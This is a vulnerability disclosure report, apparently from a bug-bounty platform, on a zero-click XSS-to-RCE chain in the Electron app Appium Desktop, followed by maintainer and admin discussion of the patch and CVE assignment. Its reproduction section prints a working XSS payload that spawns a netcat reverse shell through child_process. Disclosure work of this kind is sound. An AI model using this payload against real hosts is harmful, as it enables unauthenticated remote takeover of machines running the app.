Zero-Click Remote Code Execution in appium/appium-desktop
Reported on
Mar 23rd 2023
Vulnerability Type
Remote Code Execution
Affected URL
http://127.0.0.1/?anyparameter=
Affected Parameter
Arbitrary GET parameter
Authentication Required?
No
Issue Summary
Multiple vulnerabilities discovered in Appium-Desktop that can be chained together to achieve Zero Click Remote Code Execution. The electron application did not enable a Content Security Policy and filtered input. This cross-site scripting (XSS) attack can be exploited through a Web poisoning vulnerability, where an attacker injects XSS payload on the web service that logged by web service logs to trigger the XSS. Due to the fact that the application is built using Electron with the misconfiguration of the “NodeIntegration”, this XSS attack can potentially be escalated to code execution, allowing an unauthenticated attacker to execute commands on the machine where the application is running without user interaction required. The impact of the attack is the execution of remote code without user interaction required, which can lead to a compromise of the web service or the server.
Recommendation
Enabling a Content Security Policy Implement on the application. Implement input validation and sanitization in the output of searching to ensure that HTML characters are properly escaped and cannot be used to trigger XSS attacks. Ensure to set NodeIntegration to ‘FALSE’ and ContextIsolation to ‘TRUE’ as this could protect against RCE attacks. Stay up-to-date with security patches and updates for all third-party libraries and dependencies used by the application.
Credits
Aden Yap Chuen Zhen (chuenzhen.yap2@baesystems.com)
Issue Reproduction
Start the server on the Appium Desktop application. The web log is appear once the server is started.
The following XSS payload to achieve remote code execution via reverse shell on the target.
http://127.0.0.1/?xss=<img/src="1"/onerror=eval("require('child_process').exec('nc${IFS}localhost${IFS}4444${IFS}-e${IFS}/bin/bash');");>
Figure 1: Sending the RCE payload via BurpSuite on the target service
Figure 2: The XSS is automatically triggered and receive reverse shell from the target server
NOTE: I conducted a threat research analysis on the internet to identify vulnerable live instances. Based on my OSINT results, a total 208 instances were found to be publicly accessible on the internet. I attempted to reach out to you(maintainer) via email (From the repository security policy), but I have not received a response. Please let me know if you are interested in receiving a full report. I am hoping that Huntr will be able to contact you about this 0-day exploit.
Impact
This vulnerability allows an unauthenticated attacker to execute arbitrary code on the Appium-Desktop server.
@admin It almost 2 weeks but did not receive any knowledges from Appium team. Can you try to contact the other members from Appium team ?
Hey zn9988, we have exhausted our outreach attempts, feel free to get in contact with the maintainer directly to make them aware of this report.
@admin What if there is no response to this or the decision is made not to patch this vulnerability? Will this zero-day exploit be published as a CVE to make users aware of the dangers of using this product?
Thanks for bringing this to our attention, @zn9988. The project is now no longer maintained and has been replaced by a different one, but I have added security warnings to the download page and the project README so hopefully people will be aware of this issue.
@jlipps As we agreed in our email, You have added security warnings to the download page and the project README to mark this vulnerability as considered fixed.
Also, you are fine that to make CVE # for this RCE vulnerability as it would help raise awareness to users and warn them not to use the unsupported Appium Desktop and to use supported Appium
Could you please let the @admin know that they can assign the CVE #. Also, I would suggest that to keep this report partial disclosure (removing Issue Reproduction section) to prevent any attacker to abuse it. After one or two months then only full disclosures.
Yes @admin I think it is fine to assign the CVE# as the relevant documentation/deprecation fixes have now been applied. Do I need to mark this fixed myself?
@jlipps I believe you need to mark this fixed by you. Dear @admin @admins maintainer already responded on this , could you please follow up on the CVE creation? Thank you
if you could give us the patch commit SHA we will mark it as fixed and assign a CVE :)
OK great, here is the commit @Pavlos: https://github.com/appium/appium-desktop/commit/12a988aa08b9822e97056a09486c9bebb3aad8fe
Dear @admin maintainer had responded and confirmed the fixed, could you please follow up on the CVE creation? Thank you.

